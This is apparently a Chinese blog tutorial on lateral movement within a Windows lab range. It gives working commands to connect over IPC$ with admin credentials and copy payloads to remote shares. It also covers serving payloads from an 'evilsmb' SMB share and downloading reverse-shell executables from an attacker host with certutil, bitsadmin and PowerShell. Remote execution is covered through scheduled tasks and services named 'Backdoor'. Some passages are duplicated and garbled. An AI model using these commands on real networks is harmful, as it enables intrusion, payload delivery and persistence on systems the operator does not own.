以下环境采用的是红日靶场一;
横向移动中的文件传输
通过网络共享
执行以下命令:
plain
net share
获得 Windows系统默认开启的网络共享,其中C 为 C 盘共享, A D M I N 为C盘共享,ADMIN 为C盘共享,ADMIN为系统目录共享,还有一个是IPC$共享。IPC(InternetProcess Connection是共享"命名管道"的资源,为了让进程间通信而开放的命名管道,通过提供可信任的用户名和口令,连接双方可以建立安全的通道并以此通道进行加密数据的交换,从而实现对远程计算机的访问。
利用当前所控主机与内网中的其他远程主机建立的网络共享连接,测试人员可以访问远程主机上的资源,如直接查看远程主机目录、在两台主机之间复制文件、读取远程主机上的文件等。而实战中往往会建立IPCS连接。因为通过IPC$连接,不仅可以进行所有文件共享操作,还可以实现其他远程管理操作,如列出远程主机进程、在远程主机上创建计划任务或系统服务等,这在进行内网横向移动中起着至关重要的作用.
建立 IPC$连接需要具备以下两个条件:① 远程主机开启了 IPC 连接;② 远程主机的 139 端口和 445 端口开放。
执行以下命令,与远程主机建立IPC连接:
plain
net use \\192.168.52.138\IPC$ "Admine123" /user:"Administrator"
此时,执行以下命令,可以成功列出远程主机的C盘共享目录,
plain
dir \\192.168.52.138\C$
使用"copy"命令,可以通过共享连接向远程主机上复制文件,也可以将远程主机上的文件复制到本地,但需要注意当前用户对远程目录的权限。例如,将一个二进制程序复制到远程主机的 C盘目录中。实战中可以将攻击载荷上传到远程主机,然后通过其他远程执行的方法来运行,如创建远程计划任务或服务等。
plain
copy .\payload.exe \\192.168.52.138\C$
建立其他共享连接的命令与 IPC 连接的命令相同,需要指定远程主机的 I P 或主机名、盘符、用户名和密码。例如,连接远程主机的 C 连接的命令相同,需要指定远程主机的 IP 或主机名、盘符、用户名和密码。例如,连接远程主机的C 连接的命令相同,需要指定远程主机的IP或主机名、盘符、用户名和密码。例如,连接远程主机的C共享:
plain
net use 192.168.52.138\C$ "Admin@123" /user:"Administrator"
搭建SMB服务器
SMB(Server Message Block,服务器消息块),又称 CIFS(Common Internet File System,网络文件共享系统),由微软开发,基于应用层网络传输协议,主要功能是使网络上的计算机能够共享计算机文件、打印机、串行端口和通新等资源。SMB 消息一般使用 NetBIOS 协议或 TCP 发送,分别使用端口 139 或 445,目前倾向于使用 445 端口。
实战中可以在测试人员自己的服务器或当前所控内网主机上搭建 SMB 服务器,将需要横向传输的文件如攻击载荷等放入 SMB 服务器的共享目录,并指定UNC 路径,让横向移动的目标主机远程加载 SMB 共享的文件。注意,需使用SMB 匿名共享,并且搭建的 SMB 服务器能够被横向移动的目标所访问到。
执行以下命令,即可在搭建一个名为 evilsmb;共享目录指向 /root/share 的 SMB名共享:
plain
mkdir /root/share
python smbserver.py evilsmb /root/share -smb2support
对于 Windows 系统,如果已经获取管理员权限,可以手动配置 SMB 匿名共享,也可以通过 Invoke-BuildAnonymousSMBServer在本地快速启动一个匿名共享。
通过Windows自带工具
Certutil
Certutil 是 Windows 自带的命令行工具,用于管理 Windows 证书并作为证书服务的一部分安装。Certutil提供了从网络中下载文件的功能,测试人员可以在远程主机上执行Certutil 命令,控制其下载预先部署在可控服务器上的恶意文件,如攻击载荷等。
执行以下命令:
plain
certutil -urlcache -split -f http://125.217.52.215:80/payload.exe C:\reverse_tcp.exe
通过 Certutil下载shell.exe,并将其保存到 C:\reverse tcp.exe。
BITSAdmin
Bitsadmin 是一个 Windows 命令行工具,可以用于创建、下载或上载作业,监视其进度。Windows7及以后版本的系统自带Bitsadmin工具。执行以下命令:
plain
bitsadmin /transfer test http://IP:Port/shell.exe C:\reverse_tcp.exe
创建一个名为 test 的 Bitsadmin 任务,下载 shell.exe 到本地,并将其保存到 C:\reverse_tcp.exe。
PowerShell
参考 PowerShell 远程加载执行的思路,可以通过创建 WebClient 对象来实现文件下载。
执行以下命令:
plain
(New-object Net.Webclient).DownloadFile('http://IP:Port/shell.exe','C:\reverse_tcp.exe')
创建计划任务
常规利用流程
测试人员可以通过已有的 IPC 连接,在远程主机上创建计划任务,让目标主机在规定的时间点或周期内执行特定操作。在拥有对方管理员凭据的条件下,可以通过计划任务实现横向移动。
① 利用已建立的共享连接向远程主机(192.168.52.138)上传攻击载荷。
② 利用已建立的 IPC 连接或指定用户凭据的方式在远程主机上创建计划任务。执行以下命令:
plain
schtasks /Create /S 192.168.52.138 /TN Backdoor /SC minute /MO 1 /TR C:\reverse_tcp.exe /RU System /F
# /S,指定要连接到的系统; /TN,指定要创建的计划任务的名称; /SC,指定计划任务执行频率
# /MO,指定计划任务执行周期; /TR,指定计划任务运行的程序路径; /RU,指定计划任务运行的用户权限
# /F,如果指定的任务已经存在,则强制创建
在远程主机上创建一个计划任务,每分钟执行一次上传的攻击载荷.
plain
schtasks /RUN /S 192.168.52.138 /I /TN Backdoor
立即启动该计划任务即可获取远程主机(192.168.52.138)的权限,也可以等待计划任务自行启动。
由于内网主机(192.168.52.138)无法访问外网,这里我们采用iox的流量端口转发;
不懂iox可以看一下前面的文章。
执行以下命令,将创建的计划任务删除;
plain
schtasks /Delete /S 192.168.52.138 /TN Backdoor /F
也可以通过创建计划任务在远程主机上执行系统命令,并将执行结果写入文件,然后通过 type 命令进行远程读取。
plain
schtasks /Create /S 192.168.52.138 /TN Backdoor /SC minute /MO 1 /TR "C:\Windows\System32\cmd.exe /c whoami > C:\result.txt" /RU System /F
plain
type \\192.168.52.138\C$\result.txt #读取执行结果
UNC路径加载执行
Windows 系统中使用 UNC 路径来访问网络共享资源,格式如下:
plain
\\servername\sharename\directory\filename
其中,servername是服务器主机名,sharename是网络共享的名称,directory和filename分别为该共享下的目录和文件。
在远程主机上攻击载荷时,可以直接使用UNC 路径代替常规的本地路径,让远程主机直接在测试人员搭建的SMB 共享中加载攻击载荷并执行。这样可以省去手动上传攻击载荷的步骤。
执行以下命令,在远程主机(192.168.52.138)创建计划任务,使用UNC路径加载位于192.168.5.129共享中的攻击载荷并执行
plain
schtasks /Create /S 192.168.52.138 /TN Backdoor /SC minute /MO 1 /TR "\\192.168.5.129\evilsmb\payload.exe" /RU System /F
启动后,远程主机成功上线。由于内网主机无法上外网,所以无法本地实现,但是边缘服务器可以。
利用系统服务
创建远程服务
除了创建计划任务,测试人员还可以通过在远程主机上创建系统服务的方式,在远程主机上运行指定的程序或命令。该方式需要拥有两端主机的管理员权限和IPC$连接,具体操作如下。
1、利用已建立的共享连接向远程主机(192.168.52.138)上传攻击载荷。
2、利用已建立的IPC连接在远程主机上创建系统服务。执行以下命令
plain
sc \\192.168.52.138 create Backdoor binpath= "cmd.exe /k C:\payload.exe"
# binpath,指定服务启动时运行的二进制文件,注意"="后需要有一个空格
在远程主机上创建一个名为 Backdoor 的系统服务,服务启动时将执行上传的攻击载荷.
3、执行以下命令;
plain
sc \\192.168.52.138 start Backdoor
立即启动该服务,此时虽然提示错误,但是已经成功获取了远程主机的权限.
4、攻击成功后,将创建的服务删除。
plain
sc \\192.168.52.138 delete Backdoor